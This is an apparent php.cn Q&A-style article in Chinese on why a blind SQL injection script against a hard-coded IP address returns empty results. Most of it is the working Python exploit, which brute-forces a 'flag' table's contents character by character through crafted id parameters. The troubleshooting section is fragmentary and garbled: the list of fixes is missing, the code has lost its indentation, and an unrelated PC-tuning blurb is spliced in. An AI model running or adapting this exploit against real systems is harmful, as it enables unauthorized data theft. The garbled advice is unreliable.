
在进行SQL注入攻击时,经常会遇到查询结果为空的情况。这通常表示注入的SQL语句未能成功提取预期数据,或因某些因素导致无法获取有效信息。本文将分析一段示例代码,探讨其结果为空的原因并提出相应的解决方法。
以下为示例代码:
import requests
import binascii
url = "http://110.41.8.154/"
def join(arr):
return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])
result = ["","","","","",""] #长度为列数,包括一条随机数列
result_i = 0
for i in range(1, 3000):
min_value = 32
max_value = 130
last_tmp = ""
for j in range(min_value, max_value + 1):
tmp = result[result_i]
result[result_i] = tmp + chr(j)
payload = {
"id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))"
}
html = requests.get(url, params=payload)
if "pk" not in html.text:
if j == min_value + 1:
result[result_i] = tmp
result_i += 1
else:
result[result_i] = last_tmp
break
else:
result[result_i] = tmp
last_tmp = tmp + chr(j)
#找不到目标主机
if (result_i == len(result) - 1):
break
print(result)
print("final flag",result)该代码旨在通过SQL注入获取目标数据库中的flag值。然而,运行结果却显示始终为空:
<code>['', '', '', '', '', ''] ['', '', '', '', '', ''] ...</code>
代码运行结果为空,表明每次注入尝试均未成功返回数据。可能原因如下:
floor(1+rand(5)*500000) 和 where(xxx=221556) 部分尤其需要仔细检查。flag表和xxx列是否存在且名称正确。"pk" not in html.text 判断是否成功,这可能不是一个可靠的判断条件,需要根据实际返回结果调整。为了解决这个问题,可以尝试以下方法:
通过以上分析和调整,可以有效解决SQL注入攻击结果为空的问题,最终成功获取目标数据。 需要注意的是,进行SQL注入攻击属于非法行为,请勿用于任何非法用途。 本分析仅用于安全研究和学习目的。
以上就是SQL注入代码运行结果为空的原因是什么?如何解决?的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号